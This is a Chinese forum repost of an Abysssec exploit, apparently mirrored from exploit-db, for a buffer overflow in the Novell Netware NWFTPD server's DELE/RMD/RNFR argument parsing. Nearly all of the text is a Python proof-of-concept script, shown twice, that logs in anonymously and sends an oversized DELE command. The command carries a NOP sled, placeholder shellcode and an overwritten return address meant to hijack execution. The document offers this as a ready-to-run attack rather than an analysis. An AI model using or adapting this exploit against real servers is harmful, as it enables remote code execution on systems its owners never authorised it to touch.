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[推荐][转帖]MOAUB #7 - Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overfl
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发表于: 2010-9-9 10:54 3704
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[推荐][转帖]MOAUB #7 - Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overfl
2010-9-9 10:54
3704
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 7 - (Binary Analysis)
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-7-novell-netware-nwftpd-rmdrnfrdele-argument-parsing-buffer-overflow/
'''
'''
Title : Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
Version : NWFTPD.NLM 5.09.02 (Netware 6.5 SP8)
Analysis : http://www.abysssec.com
Vendor : http://www.Novell.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
'''
from ftplib import FTP
import sys
try:
netwareServerIp = '127.0.0.1'
ftp = FTP(netwareServerIp)
ftp.login('anonymous','a@a')
buffer = "/"
buffer += "\x90"*107 #nops
buffer += "\xcc"*413 #shellcode part2 = 413 byte
buffer += "\xb9\xa4\xe0\x91" #EIP - jmp esp from nwftpd.nlm module
buffer += "\xcc"*124 #shellcode part1 = 124 byte
buffer += "\x08\xeb\x90\x90\x90\x90" #short jmp to shellcode part2
ftp.voidcmd('DELE ' + buffer)
except Exception,err:
print err
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 7 - (Binary Analysis)
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-7-novell-netware-nwftpd-rmdrnfrdele-argument-parsing-buffer-overflow/
'''
'''
Title : Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
Version : NWFTPD.NLM 5.09.02 (Netware 6.5 SP8)
Analysis : http://www.abysssec.com
Vendor : http://www.Novell.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
'''
from ftplib import FTP
import sys
try:
netwareServerIp = '127.0.0.1'
ftp = FTP(netwareServerIp)
ftp.login('anonymous','a@a')
buffer = "/"
buffer += "\x90"*107 #nops
buffer += "\xcc"*413 #shellcode part2 = 413 byte
buffer += "\xb9\xa4\xe0\x91" #EIP - jmp esp from nwftpd.nlm module
buffer += "\xcc"*124 #shellcode part1 = 124 byte
buffer += "\x08\xeb\x90\x90\x90\x90" #short jmp to shellcode part2
ftp.voidcmd('DELE ' + buffer)
except Exception,err:
print err
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